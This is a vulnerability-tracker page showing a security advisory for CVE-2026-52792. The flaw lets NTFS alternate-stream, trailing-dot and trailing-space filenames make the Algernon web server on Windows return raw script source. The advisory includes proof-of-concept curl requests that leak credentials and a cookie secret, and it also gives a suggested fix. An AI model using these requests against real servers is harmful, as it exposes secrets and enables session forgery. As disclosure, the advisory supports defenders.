Kestrel
대시보드로 돌아가기
CVE-2026-52792HIGHGHSA대응게시일: 2026. 07. 02.수정일: 2026. 07. 02.

Algernon vulnerable to server-side script source disclosure on Windows via NTFS filename

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

CVSS 벡터 정보 없음

상세 설명

Summary

Algernon selects its file handler from filepath.Ext() (engine/handlers.go:134), which does not treat the NTFS-equivalent names x.lua::$DATA, x.lua., or x.lua as .lua. On Windows, an unauthenticated client appends one of these suffixes to any server-side script on a public path and receives its raw source instead of executed output, leaking embedded secrets such as database credentials and the SetCookieSecret value.

Linux and macOS hosts are unaffected.

Preconditions

  • Algernon runs on a Windows host (NTFS filesystem).
  • The instance serves at least one server-side script (.lua, .tl, .po2, .amber, .frm).
  • The script sits on a public path, or no auth backend is configured (--nodb, --simple, or default no-DB).
  • HTTP/HTTPS reachability to the server.

Details

bash
1// engine/handlers.go:133
2lowercaseFilename := strings.ToLower(filename)
3ext := filepath.Ext(lowercaseFilename) // "index.lua::$data" -> ".lua::$data", not ".lua" [offending]
4...
5if ac.dispatchRenderer(w, req, filename, ext) { // ext unrecognised, returns false
6 return
7}
8switch ext {
9case ".lua", ".tl": // execute the script -- never reached for the equivalent forms
10 // ... RunLua ...
11default:
12 // control reaches the raw-file branch below
13}
bash
1// engine/handlers.go:452
2f, err := os.Open(filename) // NTFS resolves "index.lua::$DATA" to index.lua's data stream
3...
4// engine/handlers.go:479
5if dataBlock, err := ac.ReadAndLogErrors(w, filename, ext); err == nil {
6 dataBlock.ToClient(w, req, filename, ac.ClientCanGzip(req), gzipThreshold) // raw source to client
7}

The request path reaches FilePage through URL2filename (utils/files.go:24), which rejects only ..; a :, a trailing ., and a trailing space all pass through into filename. filepath.Ext does an exact suffix match, so .lua::$data, ., and .lua are not equal to .lua or .tl. The renderer registry and the execute case are both skipped and control falls to the default branch.

The default branch opens filename with os.Open and streams the bytes verbatim. On Windows, NTFS canonicalises the alternate-data-stream suffix ::$DATA, a trailing dot, and a trailing space back to the underlying file, so the bytes returned are the real script source. The missing check: Algernon never rejects or canonicalises Windows-equivalent filenames before choosing a handler.

Proof of concept

Setup

  1. Build Algernon from source on a Windows host:

    text
    1git clone https://github.com/xyproto/algernon
    2cd algernon
    3git checkout v1.17.8
    4go build -o algernon.exe .
  2. Create a web root with a script that embeds secrets, exactly as a real handler would:

    text
    1New-Item -ItemType Directory webroot | Out-Null
    2Set-Content webroot\index.lua @'
    3-- db = POSTGRES("postgres://app:S3cr3t@db/prod")
    4SetCookieSecret("hardcoded-session-key")
    5print("<h1>hello</h1>")
    6'@
  3. Serve the directory over plain HTTP with no auth backend (run in its own window):

    text
    1.\algernon.exe --httponly --noninteractive --nodb --addr ':8088' --dir .\webroot

Exploit

  1. Request the script normally. It executes, and the source is not disclosed:

    bash
    1curl.exe -s http://127.0.0.1:8088/index.lua

    Expected: <h1>hello</h1>. The DSN and cookie secret are absent from the response.

  2. Request the same script through its NTFS ::$DATA stream. Algernon returns the raw source:

    bash
    1curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua::$DATA'

    Expected: HTTP 200, Content-Type: application/octet-stream, body is the verbatim Lua source including SetCookieSecret("hardcoded-session-key") and the Postgres DSN.

  3. The trailing-dot and trailing-space forms leak the same source:

    bash
    1curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua.'
    2curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua%20'

    Expected: identical raw-source response for both.

Impact

  • Confidentiality: Reads the verbatim source of any public-path server-side script, exposing hardcoded DB credentials, API keys, and SetCookieSecret(...) values.
  • Authentication: A disclosed SetCookieSecret value lets an unauthenticated attacker forge session cookies and log in as any user.

Suggestions to fix

This has not been tested - it is illustrative only.

Reject request paths whose final segment uses a Windows-equivalent form (alternate data stream, trailing dot, or trailing space) before extension dispatch.

bash
1 func (ac *Config) FilePage(w http.ResponseWriter, req *http.Request, filename, luaDataFilename string) {
2+ // Reject Windows filename-equivalent forms that alias a different file
3+ // than filepath.Ext sees (e.g. "x.lua::$DATA", "x.lua.", "x.lua ").
4+ if base := filepath.Base(filename); strings.ContainsRune(base, ':') ||
5+ strings.HasSuffix(base, ".") || strings.HasSuffix(base, " ") {
6+ http.NotFound(w, req)
7+ return
8+ }
9 if ac.quitAfterFirstRequest {
10 go ac.quitSoon("Quit after first request", defaultSoonDuration)
11 }

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.